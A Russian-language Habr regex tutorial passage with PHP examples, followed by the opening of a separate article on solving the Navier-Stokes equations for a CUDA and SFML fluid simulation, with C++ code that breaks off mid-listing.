Текст: “Вот бежит олень” или “Вот бежит индюк”
Надо выбрать либо “олень”, либо “индюк”.
RegExp: “/[а-яА-Я]+$/”
```
Если мы точно знаем, что искомое слово последнее, мы ставим “$” и результатом работы будет только тот набор символов, после которого идет конец строки.
То же самое с началом строки:
```
Текст: “Олень вкусный” или “Индюк вкусный”
Надо выбрать либо “олень”, либо “индюк”.
RegExp: “/^[а-яА-Я]+/”
```
Прежде, чем знакомиться с метасимволами дальше, надо отдельно обсудить символ “^”, потому что он у нас ходит на две работы сразу (это чтобы было интереснее). В некоторых случаях он обозначает начало строки, но в некоторых — отрицание.
Это нужно для тех случаев, когда проще указать символы, которые нас не устраивают, чем те, которые устраивают.
Допустим, мы собрали набор символов, которые нам подходят: “[a-z0-9]” (нас устроит любая маленькая латинская буква или цифра). А теперь предположим, что нас устроит любой символ, кроме этого. Это будет обозначаться вот так: “[^a-z0-9]”.
Пример:
```
Текст: “Я люблю кушать суп”
Надо выбрать все слова.
RegExp: “[^\s]+”
```
Выбираем все “не пробелы”.
Итак, вот список основных метасимволов:
* \d — соответствует любой цифре; эквивалент [0-9]
* \D — соответствует любому не числовому символу; эквивалент [^0-9]
* \s — соответствует любому символу whitespace; эквивалент [ \t\n\r\f\v]
* \S — соответствует любому не-whitespace символу; эквивалент [^ \t\n\r\f\v]
* \w — соответствует любой букве или цифре; эквивалент [a-zA-Z0-9\_]
* \W — наоборот; эквивалент [^a-zA-Z0-9\_]
* . — (просто точка) любой символ, кроме перевода “каретки”
Операторы [] и ()
-----------------
По описанному выше можно было догадаться, что [] используется для группировки нескольких символов вместе. Так мы говорим, что нас устроит любой символ из набора.
Пример:
```
Текст: “Не могу перевести I dont know, помогите!”
Надо получить весь английский текст.
RegExp: “/[A-Za-z\s]{2,}/”
```
Тут мы собрали в группу (между символами []) все латинские буквы и пробел. При помощи {} указали, что нас интересуют вхождения, где *минимум* 2 символа, чтобы исключить вхождения из пустых пробелов.
Аналогично мы могли бы получить все русские слова, сделав инверсию: “[^A-Za-z\s]{2,}”.
В отличие от [], символы () собирают отмеченные выражения. Их иногда называют “захватом”.
Они нужны для того, чтобы передать выбранный кусок (который, возможно, состоит из нескольких вхождений [] в результат выдачи).
Пример:
```
Текст: ‘Email you sent was ololo@example.com Is it correct?’
Нам надо выбрать email.
```
Существует много решений. Пример ниже — это *приближенный* вариант, который просто покажет возможности регулярных выражений. На самом деле есть [RFC](https://en.wikipedia.org/wiki/Request_for_Comments), который определяет правильность email. И есть “регулярки” по RFC — [вот примеры](https://fightingforalostcause.net/content/misc/2006/compare-email-regex.php).
Мы выбираем все, что не пробел (потому что первая часть email может содержать любой набор символов), далее должен идти символ @, далее что угодно, кроме точки и пробела, далее точка, далее любой символ латиницы в нижнем регистре…
Итак, поехали:
* мы выбираем все, что не пробел: “[^\s]+”
* мы выбираем знак @: “@”
* мы выбираем что угодно, кроме точки и пробела: “[^\s\.]+”
* мы выбираем точку: “\.” (обратный слеш нужен для экранирования метасимвола, так как знак точки описывает любой символ — см. выше)
* мы выбираем любой символ латиницы в нижнем регистре: “[a-z]+”
Оказалось не так сложно. Теперь у нас есть email, собранный по частям. Рассмотрим на примере результата работы preg\_match в PHP:
```
php
$text = ‘Email you sent was ololo@example.com. Is it correct?’;
$regexp = ‘/[^\s]+@[^\s\.]+\.[a-z]+/’;
$result = preg_match_all($regexp, $text, $match);
var_dump(
$result,
$match
);
</code
```
```
int(1)
array(1) {
[0]=>
array(1) {
[0]=>
string(13) "ololo@example.com"
}
}
```
Получилось! Но что, если теперь нам надо по отдельности получить домен и имя по email? И как-то использовать дальше в коде? Вот тут нам поможет “захват”. Мы просто выбираем, что нам нужно, и оборачиваем знаками (), как в примере:
Было:
```
/[^\s]+@[^\s\.]+\.[a-z]+/
```
Стало:
```
/([^\s]+)@([^\s\.]+\.[a-z]+)/
```
Пробуем:
```
php
$text = ‘Email you sent was ololo@example.com. Is it correct?’;
$regexp = ‘/([^\s]+)@([^\s\.]+\.[a-z]+)/’;
$result = preg_match_all($regexp, $text, $match);
var_dump(
$result,
$match
);
</code
```
```
int(1)
array(3) {
[0]=>
array(1) {
[0]=>
string(13) "ololo@example.com"
}
[1]=>
array(1) {
[0]=>
string(5) "ololo"
}
[2]=>
array(1) {
[0]=>
string(7) "example.com"
}
}
```
В массиве match нулевым элементом всегда идет полное вхождение регулярного выражения. А дальше по очереди идут “захваты”.
В PHP можно именовать “захваты”, используя следующий синтаксис:
```
/(?[^\s]+)@(?[^\s\.]+\.[a-z]+)/
```
Тогда массив матча станет ассоциативным:
```
php
$text = ‘Email you sent was ololo@example.com. Is it correct?’;
$regexp = ‘/(?<mail[^\s]+)@(?[^\s\.]+\.[a-z]+)/’;
$result = preg\_match\_all($regexp, $text, $match);
var\_dump(
$result,
$match
);
```
```
int(1)
array(5) {
[0]=>
array(1) {
[0]=>
string(13) "ololo@example.com"
}
["mail"]=>
array(1) {
[0]=>
string(5) "ololo"
}
["domain"]=>
array(1) {
[0]=>
string(7) "example.com"
}
}
```
Это сразу +100 к читаемости и кода, и регулярки.
Примеры из реальной жизни
-------------------------
### Парсим письмо в поисках нового пароля:
Есть письмо с HTML-кодом, надо выдернуть из него новый пароль. Текст может быть либо на английском, либо на русском:
```
Текст: “пароль: **f23f43tgt4**” или “password: **wh4k38f4**”
RegExp: “(password|пароль):\s**([^<]+)<\/b>”**
```
Сначала мы говорим, что текст перед паролем может быть двух вариантов, использовав “или”.
Вариантов можно перечислять сколько угодно:
```
(password|пароль)
```
Далее у нас знак двоеточия и один пробел:
```
:\s
```
Далее знак тега b:
А дальше нас интересует все, что не символ “<”, поскольку он будет свидетельствовать о том, что тег b закрывается:
```
([^<]+)
```
Мы оборачиваем его в захват, потому что именно он нам и нужен.
Далее мы пишем закрывающий тег b, проэкранировав символ “/”, так как это спецсимвол:
```
<\/b>
```
Все довольно просто.
### Парсим URL:
В PHP есть клевая функция, которая помогает работать с урлом, разбирая его на составные части:
```
php
$URL = "https://hello.world.ru/uri/starts/here?get_params=here#anchor";
$parsed = parse_url($URL);
var_dump($parsed);
</code
```
```
array(5) {
["scheme"]=>
string(5) "https"
["host"]=>
string(14) "hello.world.ru"
["path"]=>
string(16) "/uri/starts/here"
["query"]=>
string(15) "get_params=here"
["fragment"]=>
string(6) "anchor"
}
```
Давай сделаем то же самое, только регуляркой? :)
Любой урл начинается со схемы. Для нас это протокол http/https. Можно было бы сделать логическое “или”:
```
(http|https)
```
Но можно схитрить и сделать вот так:
```
http[s]?
```
В данном случае символ “?” означает, что “s” может есть, может нет…
Далее у нас идет “://”, но символ “/” нам придется экранировать (см. выше):
```
“:\/\/”
```
Далее у нас до знака “/” или до конца строки идет домен. Он может состоять из цифр, букв, знака подчеркивания, тире и точки:
```
[\w\.-]+
```
Тут мы собрали в единую группу метасимвол “\w”, точку ”\.” и тире ”-”.
Далее идет URI. Тут все просто, мы берем все до вопросительного знака или конца строки:
```
[^?$]+
```
Теперь знак вопроса, который может быть, а может не быть:
```
[?]?
```
Далее все до конца строки или начала якоря (символ #) — не забываем о том, что этой части тоже может не быть:
```
[^#$]+
```
Далее может быть #, а может не быть:
```
[#]?
```
Дальше все до конца строки, если есть:
```
[^$]+
```
Вся красота в итоге выглядит так (к сожалению, я не придумал, как вставить эту часть так, чтобы Habr не считал часть строки — комментарием):
```
/(?http[s]?):\/\/(?[\w\.-]+)(?[^?$]+)?(?[^#$]+)?[#]?(?[^$]+)?/
```
Главное не моргать! :)
```
php
$URL = "https://hello.world.ru/uri/starts/here?get_params=here#anchor";
$regexp = “/(?<schemehttp[s]?):\/\/(?[\w\.-]+)(?[^?$]+)?(?[^#$]+)?[#]?(?[^$]+)?/”;
$result = preg\_match($regexp, $URL, $match);
var\_dump(
$result,
$match
);
```
```
array(11) {
[0]=>
string(61) "https://hello.world.ru/uri/starts/here?get_params=here#anchor"
["scheme"]=>
string(5) "https"
["domain"]=>
string(14) "hello.world.ru"
["URI"]=>
string(16) "/uri/starts/here"
["params"]=>
string(15) "get_params=here"
["anchor"]=>
string(6) "anchor"
}
```
Получилось примерно то же самое, только своими руками.

Какие задачи не решаются регулярными выражениями
------------------------------------------------
На первый взгляд кажется, что регулярными выражениями можно описать и распарсить любой текст. Но, к сожалению, это не так.
Регулярные выражении — это подвид формальных языков, который в иерархии Хомского принадлежат 3-ому типу, самому простому. Об этом [тут](https://ru.wikipedia.org/wiki/%D0%98%D0%B5%D1%80%D0%B0%D1%80%D1%85%D0%B8%D1%8F_%D0%A5%D0%BE%D0%BC%D1%81%D0%BA%D0%BE%D0%B3%D0%BE).
При помощи этого языка мы не можем, например, парсить синтаксис языков программирования с вложенной грамматикой. Или HTML код.
### Примеры задач:
У нас есть span, внутри которых много других span и мы не знаем сколько. Надо выбрать все, что находится внутри этого span:
```
ololo1
ololo2
ololo3
ololo4
ololo5
<...>
```
Само собой, если мы парсим HTML, где есть не только этот span. :)
Суть в том, что мы не можем начать с какого-то момента “считать” символы span и /span, подразумевая, что открывающих и закрывающих символов должно быть равное количество. И “понять”, что закрывающий символ, для которого ранее не было пары — тот самый закрывающий, который обосабливает блок.
То же самое с кодом и символами {}.
Например:
```
function methodA() {
function() {<...>}
if () { if () {<...>} }
}
```
В такой структуре мы не сможем при помощи только регулярного выражения отличить закрывающую фигурную скобку внутри кода от той, которая завершает начальную функцию (если код состоит не только из этой функции).
Для решение таких задач используются языки более высокого уровня.
Заключение
----------
Я постарался довольно подробно рассказать об азах мира регулярных выражений. Конечно невозможно в одну статью уместить все. Дальнейшая работа с ними — вопрос опыта и умения гуглить.
Спасибо за внимание. | https://habr.com/ru/post/343310/ | null | ru | null |
# Уравнение Навье-Стокса и симуляция жидкостей на CUDA
Привет, Хабр. В этой статье мы разберемся с уравнением Навье-Стокса для несжимаемой жидкости, численно его решим и сделаем красивую симуляцию, работающую за счет параллельного вычисления на CUDA. Основная цель — показать, как можно применить математику, лежащую в основе уравнения, на практике при решении задачи моделирования жидкостей и газов.

**Предупреждение**В статье содержится много математики, поэтому те, кто интересуется именно технической стороной вопроса, могут сразу перейти в раздел реализации алгоритма. Однако, я бы все же рекомендовал ознакомиться со статьей целиком и постараться понять принцип решения. Если же у вас к концу прочтения останутся какие-либо вопросы, буду рад ответить на них в комментариях к посту.
*Примечание: если вы читаете хабр с мобильного устройства, и у вас не отображаются формулы, воспользуйтесь полной версией сайта*
Уравнение Навье-Стокса для несжимаемой жидкости
-----------------------------------------------

Я думаю каждый хоть раз слышал об этом уравнении, некоторые, быть может, даже аналитически решали его частные случаи, но в общем виде эта задачи остается неразрешенной до сих пор. Само собой, мы не ставим в этой статье цель решить задачу тысячелетия, однако итеративный метод применить к ней мы все же можем. Но для начала, давайте разберемся с обозначениями в этой формуле.
Условно уравнение Навье-Стокса можно разделить на пять частей:
*  — обозначает скорость изменения скорости жидкости в точке (его мы и будем считать для каждой частицы в нашей симуляции).
*  — перемещение жидкости в пространстве.
*  — давление, оказываемое на частицу (здесь  — коэффициент плотности жидкости).
*  — вязкость среды (чем она больше, тем сильнее жидкость сопротивляется силе, применяемой к ее части),  — коэффициент вязкости).
*  — внешние силы, которые мы применяем к жидкости (в нашем случае сила будет играть вполне конкретную роль — она будет отражать действия, совершаемые пользователем.
Также, так как мы будем рассматривать случай несжимаемой и однородной жидкости, мы имеем еще одно уравнение: . Энергия в среде постоянна, никуда не уходит, ниоткуда не приходит.
Будет неправильно обделить всех читателей, которые не знакомы с [векторным анализом](https://ru.wikipedia.org/wiki/%D0%92%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%BD%D1%8B%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7), поэтому заодно и бегло пройдемся по всем операторам, присутствующим в уравнении (однако, настоятельно рекомендую вспомнить, что такое производная, дифференциал и вектор, так как они лежат в основе всего того, о чем пойдет речь ниже).
Начнем мы с с оператора набла, представляющего из себя вот такой вектор (в нашем случае он будет двухкомпонентным, так как жидкость мы будет моделировать в двумерном пространстве):

[Оператор набла](https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80_%D0%BD%D0%B0%D0%B1%D0%BB%D0%B0) представляет из себя векторный дифференциальный оператор и может быть применен как к скалярной функции, так и к векторной. В случае скаляра мы получаем градиент функции (вектор ее частных производных), а в случае вектора — сумму частых производных по осям. Главная особенность данного оператора в том, что через него можно выразить основные операции векторного анализа — **grad** ([градиент](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D0%B4%D0%B8%D0%B5%D0%BD%D1%82)), **div** ([дивергенция](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%B2%D0%B5%D1%80%D0%B3%D0%B5%D0%BD%D1%86%D0%B8%D1%8F)), **rot** ([ротор](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D1%82%D0%BE%D1%80_(%D0%B4%D0%B8%D1%84%D1%84%D0%B5%D1%80%D0%B5%D0%BD%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80))) и  ([оператор Лапласа](https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80_%D0%9B%D0%B0%D0%BF%D0%BB%D0%B0%D1%81%D0%B0)). Стоит сразу же отметить, что выражение  **не равносильно**  — оператор набла не обладает коммутативностью.
Как мы увидим далее, эти выражения заметно упрощаются при переходе на дискретное пространство, в котором мы и будем проводить все вычисления, так что не пугайтесь, если на данный момент вам не очень понятно, что же со всем этим делать. Разбив задачу на несколько частей, мы последовательно решим каждую из них и представим все это в виде последовательного применения нескольких функций к нашей среде.
Численное решение уравнения Навье-Стокса
----------------------------------------
Чтобы представить нашу жидкость в программе, нам необходимо получить математическую репрезентацию состояния каждой частицы жидкости в произвольный момент времени. Самый удобный для этого метод — создать векторное поле частиц, хранящее их состояние, в виде координатной плоскости:

В каждой ячейке нашего двумерного массива мы будем хранить скорость частицы в момент времени , а расстояние между частицами обозначим за  и  соответственно. В коде же нам будет достаточно изменять значение скорости каждую итерацию, решая набор из нескольких уравнений.
Теперь выразим градиент, дивергенцию и оператор Лапласа с учетом нашей координатной сетки ( — индексы в массиве,  — взятие соответствующих компонентов у вектора):
| | | |
| --- | --- | --- |
| Оператор | Определение | Дискретный аналог |
| **grad** | $\nabla \bf p = \begin{pmatrix} { \partial \bf p \over \partial x}, { \partial \bf p \over \partial y } \end{pmatrix}$ | ${ { p_{i+1, j } } - { p_{i - 1, j } } \over {2 \delta x } }, { { p_{i, j + 1 } } - { p_{i, j - 1 } } \over {2 \delta y } }$ |
| **div** | $\nabla \cdot \bf \vec{u} = { { \partial u \over \partial x }+{ \partial u \over \partial y } }$ | ${ { \vec{u}_{(x) i + 1, j}-\vec{u}_{(x) i - 1, j} } \over { 2 \delta x } }+{ { \vec{u}_{(y) i, j + 1}-\vec{u}_{(y) i , j - 1} } \over { 2 \delta y } }$ |
| $\bf \Delta$ | $\bf \nabla^2p = { \partial ^2 p \over \partial x^2 }+{ \partial ^2 p \over \partial y^2 }$ | $ {{ p_{i + 1, j}-2p_{i, j}+p_{i - 1, j} } \over (\delta x)^2}+{ { p_{i, j + 1}-2p_{i, j} + p_{i, j - 1} } \over (\delta y)^2 } $ |
| **rot** | $\bf \nabla \times \vec{u} = {{ \partial \vec{u} \over \partial y}-{ \partial \vec{u} \over \partial x}}$ | ${ \vec{u}_{(y) i, j + 1 }-\vec{u}_{(y) i, j - 1} \over 2\delta y }-{ \vec{u}_{(x) i + 1, j }-\vec{u}_{(x) i - 1, j } \over 2\delta x }$ |
Мы можем еще сильнее упростить дискретные формулы векторных операторов, если положим, что . Данное допущение не будет сильно сказываться на точности алгоритма, однако уменьшает количество операций на каждую итерацию, да и в целом делает выражения приятней взгляду.
### Перемещение частиц
Данные утверждения работают только в том случае, если мы можем найти ближайшие частицы относительно рассматриваемой на данный момент. Чтобы свести на нет все возможные издержки, связанные с поиском таковых, мы будет отслеживать не их перемещение, а то, **откуда** приходят частицы в начале итерации путем проекции траектории движения назад во времени (проще говоря, вычитать вектор скорости, помноженный на изменение времени, из текущей позиции). Используя этот прием для каждого элемента массива, мы будем точно уверены, что у любой частицы будут «соседи»:

Положив, что  — элемент массива, хранящий состояния частицы, получаем следующую формулу для вычисления ее состояния через время  (мы полагаем, что все необходимые параметры в виде ускорения и давления уже рассчитаны):

Заметим сразу же, что при достаточно малом  и скорости мы можем так и не выйти за пределы ячейки, поэтому очень важно правильно подобрать ту силу импульса, которую пользователь будет придавать частицам.
Чтобы избежать потери точности в случае попадания проекции на границу клеток или в случае получения нецелых координат, мы будем проводить билинейную интерполяцию состояний четырех ближайших частиц и брать ее за истинное значение в точке. В принципе, такой метод практически не уменьшит точность симуляции, и вместе с тем он достаточно прост в реализации, так что его и будем использовать.
### Вязкость
Каждая жидкость обладает некоторой вязкостью, способностью препятствовать воздействию внешних сил на ее части (хорошим примером будет мед и вода, в некоторых случаях их коэффициенты вязкости отличаются на порядок). Вязкость непосредственно влияет на ускорение, приобретаемое жидкостью, и может быть выражено приведенной ниже формулой, если для краткости мы опустим на время другие слагаемые:

. В таком случае итеративное уравнение для скорости примет следующий вид:

Мы несколько преобразуем данное равенство, приведя его к виду  (стандартный вид системы линейных уравнений):

где  — единичная матрица. Такие преобразования нам необходимы, чтобы в последствии применить [метод Якоби](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%AF%D0%BA%D0%BE%D0%B1%D0%B8) для решения нескольких схожих систем уравнений. Его мы также обсудим в дальнейшем.
### Внешние силы
Самый простой шаг алгоритма — применение внешних сил к среде. Для пользователя это будет отражаться в виде кликов по экрану мышкой или ее перемещение. Внешнюю силу можно описать следующей формулой, которую мы применим для каждого элемента матрицы ( — импульс-вектор,  — позиция мыши,  — координаты текущей ячейки,  — радиус действия, масштабирующий параметр):

Импульс-вектор легко посчитать как разность между предыдущей позицией мыши и текущей (если такая имелась), и здесь как раз-таки можно проявить креативность. Именно в этой части алгоритма мы можем внедрить добавление цветов в жидкость, ее подсветку и т.п. К внешним силам также можно отнести гравитацию и температуру, и хоть реализовать такие параметры несложно, в данной статье рассматривать их мы не будем.
### Давление
Давление в уравнении Навье-Стокса — та сила, которая препятствует частицам заполнять все доступное им пространство после применения к ним какой-либо внешней силы. Сходу его расчет весьма затруднителен, однако нашу задачу можно значительно упростить, применив [теорему разложения Гельмгольца](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_%D1%80%D0%B0%D0%B7%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F_%D0%93%D0%B5%D0%BB%D1%8C%D0%BC%D0%B3%D0%BE%D0%BB%D1%8C%D1%86%D0%B0).
Назовем  векторное поле, полученное после расчета перемещения, внешних сил и вязкости. Оно будет иметь ненулевую дивергенцию, что противоречит условию несжимаемости жидкости (), и чтобы это исправить, необходимо рассчитать давление. Согласно теореме разложения Гельмгольца,  можно представить как сумму двух полей:

где  — и есть искомое нами векторное поле с нулевой дивергенцией. Доказательство этого равенства в данной статье приводиться не будет, однако в конце вы сможете найти ссылку с подробным объяснением. Мы же можем применить оператор набла к обоим частям выражения, чтобы получить следующую формулу для расчета скалярного поля давления:

Записанное выше выражение представляет из себя [уравнение Пуассона](https://ru.wikipedia.org/wiki/%D0%A3%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5_%D0%9F%D1%83%D0%B0%D1%81%D1%81%D0%BE%D0%BD%D0%B0) для давления. Его мы также можем решить вышеупомянутым методом Якоби, и тем самым найти последнюю неизвестную переменную в уравнении Навье-Стокса. В принципе, системы линейных уравнений можно решать самыми разными и изощренными способами, но мы все же остановимся на самом простом из них, чтобы еще больше не нагружать данную статью.
### Граничные и начальные условия
Любое дифференциальное уравнение, моделируемое на конечной области, требует правильно заданных начальных или граничных условий, иначе мы с очень большой вероятностью получим физически неверный результат. Граничные условия устанавливаются для контролирования поведения жидкости близ краев координатной сетки, а начальные условия задают параметры, которые имеют частицы в момент запуска программы.
Начальные условия будут весьма простыми — изначально жидкость неподвижна (скорость частиц равна нулю), и давление также равно нулю. Граничные условия будут задаваться для скорости и давления приведенными формулами:


Тем самым, скорость частиц на краях будет противоположна скорости у краев (тем самым они будут отталкиваться от края), а давление равно значению непосредственно рядом с границей. Данные операции следует применить ко всем ограничивающим элементам массива (к примеру, есть размер сетки , то алгоритм мы применим для клеток, отмеченных на рисунке синим):

### Краситель
С тем, что мы имеем сейчас, уже можно придумать много интересных вещей. К примеру, реализовать распространение красителя в жидкости. Для этого нам достаточно лишь поддерживать еще одно скалярное поле, которое бы отвечало за количество краски в каждой точке симуляции. Формула для обновления красителя весьма похожа на скорость, и выражается как:

В формуле  отвечает за пополнение красителем области (возможно, в зависимости от того, куда нажмет пользователь),  непосредственно является количество красителя в точке, а  — коэффициент диффузии. Решить его не составляет большого труда, так как вся основная работа по выводу формул уже проведена, и достаточно лишь сделает несколько подстановок. Краску можно реализовать в коде как цвет в формате RGB, и в таком случае задача сводится к операциям с несколькими вещественными величинами.
### Завихренность
Уравнение для завихренности не является непосредственной частью уравнения Навье-Стокса, однако является важным параметром для правдоподобной симуляции движения красителя в жидкости. Из-за того, что мы производим алгоритм на дискретном поле, а также из-за потерь в точности величин с плавающей точкой, этот эффект теряется, и поэтому нам необходимо восстановить его, применив дополнительную силу к каждой точке пространства. Вектор этой силы обозначен как  и определяется следующими формулами:




 есть результат применения **ротора** к вектору скорости (его определение дано в начале статьи),  — градиент скалярного поля абсолютных значений .  представляет нормализованный вектор , а  — константа, контролирующая, насколько большими будут завихренности в нашей жидкости.
### Метод Якоби для решения систем линейных уравнений
В ходе разбора уравнения Навье-Стокса мы вышли на две системы уравнений — одно для вязкости, другое для давления. Решить их можно итеративным алгоритмом, который можно описать следующей итеративной формулой:

Для нас  — элементы массива, представляющие скалярное или векторное поле.  — номер итерации, его мы можем регулировать, чтобы как увеличить точность расчета или наоборот уменьшить, и повысить производительность.
Для расчет вязкости подставляем: , , , здесь параметр  — сумма весов. Таким образом, нам необходимо хранить как минимум два векторных поля скоростей, чтобы независимо считать значения одного поля и записывать их в другое. В среднем, для расчета поля скорости методом Якоби необходимо провести 20-50 итераций, что весьма много, если бы мы выполняли вычисления на CPU.
Для уравнения давления мы сделаем следующую подстановку: , , , . В результате мы получим значение  в точке. Но так как оно используется только для расчета градиента, вычитаемого из поля скорости, дополнительные преобразования можно не выполнять. Для поля давления лучше всего выполнять 40-80 итераций, потому что при меньших числах расхождение становится заметным.
Реализация алгоритма
--------------------
Реализовывать алгоритм мы будем на C++, также нам потребуется [Cuda Toolkit](https://developer.nvidia.com/cuda-toolkit) (как его установить вы можете прочитать на сайте Nvidia), а также [SFML](https://www.sfml-dev.org/). CUDA нам потребуется для распараллеливания алгоритма, а SFML будет использоваться только для создания окна и отображения картинки на экране (В принципе, это вполне можно написать на OpenGL, но разница в производительности будет несущественна, а вот код увеличится еще строк на 200).
### Cuda Toolkit
Сначала мы немного поговорим о том, как использовать Cuda Toolkit для распараллеливания задач. [Более подробный гайд](https://docs.nvidia.com/cuda/cuda-c-programming-guide/index.html) предоставляется самой Nvidia, поэтому здесь мы ограничимся только самым необходимым. Также предполагается, что вы смогли установить компилятор, и у вас получилось собрать тестовый проект без ошибок.
Чтобы создать функцию, исполняющуюся на GPU, для начала необходимо объявить, сколько ядер мы хотим использовать, и сколько блоков ядер нужно выделить. Для этого Cuda Toolkit предоставляет нам специальную структуру — **dim3**, по умолчанию устанавливающую все свои значения x, y, z равными 1. Указывая ее как аргумент при вызове функции, мы можем управлять количеством выделяемых ядер. Так как работаем мы с двумерным массивом, то в конструкторе необходимо установить только два поля: *x* и *y*:
```
dim3 threadsPerBlock(x_threads, y_threads);
dim3 numBlocks(size_x / x_threads, y_size / y_threads);
```
где *size\_x* и *size\_y* — размер обрабатываемого массива. Сигнатура и вызов функции выглядят следующим образом (тройные угловые скобки обрабатываются компилятором Cuda):
```
void __global__ deviceFunction(); // declare
deviceFunction<<>>(); // call from host
```
В самой функции можно восстановить индексы двумерного массива через номер блока и номер ядра в этом блоке по следующей формуле:
```
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
```
Следует отметить, что функция, исполняемая на видеокарте, должна быть обязательно помечена тегом \_\_global\_\_, а также возвращать **void**, поэтому чаще всего результаты вычислений записываются в передаваемый как аргумент и заранее выделенный в памяти видеокарты массив.
За освобождение и выделение памяти на видеокарте отвечают функции **CudaMalloc** и **CudaFree**. Мы можем оперировать указателями на область памяти, которые они возвращают, но получить доступ к данным из основного кода не можем. Самый простой способ вернуть результаты вычислений — воспользоваться **cudaMemcpy**, схожей со стандартным **memcpy**, но умеющей копировать данные с видеокарты в основную память и наоборот.
### SFML и рендер окна
Вооружившись всеми этими знаниями, мы наконец можем перейти к непосредственному написанию кода. Для начала давайте создадим файл *main.cpp* и разместим туда весь вспомогательный код для рендера окна:
**main.cpp**
```
#include
#include
#include
#include
//SFML REQUIRED TO LAUNCH THIS CODE
#define SCALE 2
#define WINDOW\_WIDTH 1280
#define WINDOW\_HEIGHT 720
#define FIELD\_WIDTH WINDOW\_WIDTH / SCALE
#define FIELD\_HEIGHT WINDOW\_HEIGHT / SCALE
static struct Config
{
float velocityDiffusion;
float pressure;
float vorticity;
float colorDiffusion;
float densityDiffusion;
float forceScale;
float bloomIntense;
int radius;
bool bloomEnabled;
} config;
void setConfig(float vDiffusion = 0.8f, float pressure = 1.5f, float vorticity = 50.0f, float cDiffuion = 0.8f,
float dDiffuion = 1.2f, float force = 1000.0f, float bloomIntense = 25000.0f, int radius = 100, bool bloom = true);
void computeField(uint8\_t\* result, float dt, int x1pos = -1, int y1pos = -1, int x2pos = -1, int y2pos = -1, bool isPressed = false);
void cudaInit(size\_t xSize, size\_t ySize);
void cudaExit();
int main()
{
cudaInit(FIELD\_WIDTH, FIELD\_HEIGHT);
srand(time(NULL));
sf::RenderWindow window(sf::VideoMode(WINDOW\_WIDTH, WINDOW\_HEIGHT), "");
auto start = std::chrono::system\_clock::now();
auto end = std::chrono::system\_clock::now();
sf::Texture texture;
sf::Sprite sprite;
std::vector pixelBuffer(FIELD\_WIDTH \* FIELD\_HEIGHT \* 4);
texture.create(FIELD\_WIDTH, FIELD\_HEIGHT);
sf::Vector2i mpos1 = { -1, -1 }, mpos2 = { -1, -1 };
bool isPressed = false;
bool isPaused = false;
while (window.isOpen())
{
end = std::chrono::system\_clock::now();
std::chrono::duration diff = end - start;
window.setTitle("Fluid simulator " + std::to\_string(int(1.0f / diff.count())) + " fps");
start = end;
window.clear(sf::Color::White);
sf::Event event;
while (window.pollEvent(event))
{
if (event.type == sf::Event::Closed)
window.close();
if (event.type == sf::Event::MouseButtonPressed)
{
if (event.mouseButton.button == sf::Mouse::Button::Left)
{
mpos1 = { event.mouseButton.x, event.mouseButton.y };
mpos1 /= SCALE;
isPressed = true;
}
else
{
isPaused = !isPaused;
}
}
if (event.type == sf::Event::MouseButtonReleased)
{
isPressed = false;
}
if (event.type == sf::Event::MouseMoved)
{
std::swap(mpos1, mpos2);
mpos2 = { event.mouseMove.x, event.mouseMove.y };
mpos2 /= SCALE;
}
}
float dt = 0.02f;
if (!isPaused)
computeField(pixelBuffer.data(), dt, mpos1.x, mpos1.y, mpos2.x, mpos2.y, isPressed);
texture.update(pixelBuffer.data());
sprite.setTexture(texture);
sprite.setScale({ SCALE, SCALE });
window.draw(sprite);
window.display();
}
cudaExit();
return 0;
}
```
строка в начале функции **main**
```
std::vector pixelBuffer(FIELD\_WIDTH \* FIELD\_HEIGHT \* 4);
```
создает изображение формата RGBA в виде одномерного массива с константной длиной. Его мы будем передавать вместе с другими параметрами (позиция мыши, разница между кадрами) в функцию **computeField**. Последняя, как и несколько других функций, объявлены в *kernel.cu* и вызывают код, исполняемый на GPU. Документацию по любой из функций вы можете найти на сайте SFML, в коде файла не происходит ничего сверхинтересного, поэтому мы не будем надолго на нем останавливаться.
### Вычисления на GPU
Чтобы начать писать код под gpu, для начала создадим файл kernel.cu и определим в нем несколько вспомогательных классов: **Color3f, Vec2, Config, SystemConfig**:
**kernel.cu (data structures)**
```
struct Vec2
{
float x = 0.0, y = 0.0;
__device__ Vec2 operator-(Vec2 other)
{
Vec2 res;
res.x = this->x - other.x;
res.y = this->y - other.y;
return res;
}
__device__ Vec2 operator+(Vec2 other)
{
Vec2 res;
res.x = this->x + other.x;
res.y = this->y + other.y;
return res;
}
__device__ Vec2 operator*(float d)
{
Vec2 res;
res.x = this->x * d;
res.y = this->y * d;
return res;
}
};
struct Color3f
{
float R = 0.0f;
float G = 0.0f;
float B = 0.0f;
__host__ __device__ Color3f operator+ (Color3f other)
{
Color3f res;
res.R = this->R + other.R;
res.G = this->G + other.G;
res.B = this->B + other.B;
return res;
}
__host__ __device__ Color3f operator* (float d)
{
Color3f res;
res.R = this->R * d;
res.G = this->G * d;
res.B = this->B * d;
return res;
}
};
struct Particle
{
Vec2 u; // velocity
Color3f color;
};
static struct Config
{
float velocityDiffusion;
float pressure;
float vorticity;
float colorDiffusion;
float densityDiffusion;
float forceScale;
float bloomIntense;
int radius;
bool bloomEnabled;
} config;
static struct SystemConfig
{
int velocityIterations = 20;
int pressureIterations = 40;
int xThreads = 64;
int yThreads = 1;
} sConfig;
void setConfig(
float vDiffusion = 0.8f,
float pressure = 1.5f,
float vorticity = 50.0f,
float cDiffuion = 0.8f,
float dDiffuion = 1.2f,
